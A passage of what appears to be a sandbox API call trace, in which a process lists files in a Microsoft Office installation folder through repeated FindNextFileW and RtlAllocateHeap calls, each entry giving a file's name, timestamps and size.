lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53eb900, ftCreationTime.dwHighDateTime=0x1cab7e4, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe53eb900, ftLastWriteTime.dwHighDateTime=0x1cab7e4, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaccess.exe.manifest", cAlternateFileName="")) returned 1 [0075.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.050] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e9100, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2e9100, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x14188, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSAEXP30.DLL", cAlternateFileName="")) returned 1 [0075.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.050] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a5b300, ftCreationTime.dwHighDateTime=0x1ca99c5, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67a5b300, ftLastWriteTime.dwHighDateTime=0x1ca99c5, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCOL11.INF", cAlternateFileName="")) returned 1 [0075.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.050] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd78b00, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9dd78b00, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x1aad, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCOL11.PPD", cAlternateFileName="")) returned 1 [0075.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.050] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ccb6a00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa1ff9760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ccb6a00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_en.dub", cAlternateFileName="")) returned 1 [0075.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.050] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21901e00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6dc8680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x21901e00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_es.dub", cAlternateFileName="")) returned 1 [0075.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.050] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2dc400, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa3e79140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1f2dc400, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_fr.dub", cAlternateFileName="")) returned 1 [0075.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.050] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57d49a00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa22a7020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x57d49a00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7en.dll", cAlternateFileName="")) returned 1 [0075.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.050] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4474ff00, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6da2520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4474ff00, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7es.dll", cAlternateFileName="")) returned 1 [0075.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.050] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efba800, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4c02e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5efba800, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7fr.dll", cAlternateFileName="")) returned 1 [0075.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.050] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfc9700, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1dfc9700, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_en.dub", cAlternateFileName="")) returned 1 [0075.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.051] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c14b00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22c14b00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_es.dub", cAlternateFileName="")) returned 1 [0075.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.051] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x205ef100, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x205ef100, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_fr.dub", cAlternateFileName="")) returned 1 [0075.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.051] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ee1a00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x58c0b550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52ee1a00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0xee9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7.dll", cAlternateFileName="")) returned 1 [0075.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.051] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b94600, ftCreationTime.dwHighDateTime=0x1c879f3, ftLastAccessTime.dwLowDateTime=0x69def8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b94600, ftLastWriteTime.dwHighDateTime=0x1c879f3, nFileSizeHigh=0x0, nFileSizeLow=0x2c5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7db.kic", cAlternateFileName="")) returned 1 [0075.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.051] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34365600, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x69e15a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34365600, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1c5b3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7en.kic", cAlternateFileName="")) returned 1 [0075.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.051] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x69e3bb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x13e9f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7es.kic", cAlternateFileName="")) returned 1 [0075.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.051] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c0b550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7fr.kic", cAlternateFileName="")) returned 1 [0075.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.051] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c57810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x3567a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7ge.kic", cAlternateFileName="")) returned 1 [0075.051] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1da59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7jp.kic", cAlternateFileName="")) returned 1 [0075.051] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ee1a00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52ee1a00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x81988, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7tk.dll", cAlternateFileName="")) returned 1 [0075.051] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ed9dc00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x69e3bb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ed9dc00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x10f798, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7tkjp.dll", cAlternateFileName="")) returned 1 [0075.051] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab61d00, ftCreationTime.dwHighDateTime=0x1bf9d1a, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ab61d00, ftLastWriteTime.dwHighDateTime=0x1bf9d1a, nFileSizeHigh=0x0, nFileSizeLow=0xe36, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.ICO", cAlternateFileName="")) returned 1 [0075.051] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4306b00, ftCreationTime.dwHighDateTime=0x1ca223a, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4306b00, ftLastWriteTime.dwHighDateTime=0x1ca223a, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1 [0075.051] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76339d00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9d7360, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76339d00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x36178, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCF.DLL", cAlternateFileName="")) returned 1 [0075.051] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716ee900, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9fd4c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x716ee900, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x6a790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCFU.DLL", cAlternateFileName="")) returned 1 [0075.051] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76339d00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9fd4c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76339d00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x4590, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCFUIUTILITIESDLL.DLL", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dadcd00, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xd61ff3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1dadcd00, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xa7f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSODCW.DLL", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4939000, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4939000, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x17b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEV.DLL", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4939000, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4939000, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x12d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEVI.DLL", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a159300, ftCreationTime.dwHighDateTime=0x1ca91da, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a159300, ftLastWriteTime.dwHighDateTime=0x1ca91da, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHTMED.EXE", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa94b500, ftCreationTime.dwHighDateTime=0x1caca29, ftLastAccessTime.dwLowDateTime=0x593a1b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa94b500, ftLastWriteTime.dwHighDateTime=0x1caca29, nFileSizeHigh=0x0, nFileSizeLow=0xa398, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSTYLE.DLL", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d58a800, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd6297920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d58a800, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0xde180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSYNC.EXE", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d58a800, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd62e3be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d58a800, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x77978, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC.EXE", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x593c7cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x65d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUTL.OLB", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda57df00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd6309d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xda57df00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x45578, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUTLS.DLL", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f00800, ftCreationTime.dwHighDateTime=0x1caba23, ftLastAccessTime.dwLowDateTime=0xbde72640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f00800, ftLastWriteTime.dwHighDateTime=0x1caba23, nFileSizeHigh=0x0, nFileSizeLow=0x11560, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPJEVTS.DLL", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab1b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcab1b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x62588, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPPT.OLB", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe57c63a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xd65a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPRJ.OLB", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6ae000, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xdac3c1c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6ae000, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x4e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="msproof7.dll", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x1963b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPST32.DLL", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x6a1356f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xdb4b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.EXE", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d978100, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d978100, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="mspub.exe.manifest", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33918f00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33918f00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3ff28, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.TLB", cAlternateFileName="")) returned 1 [0075.052] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ad2d00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x5943a0f0, 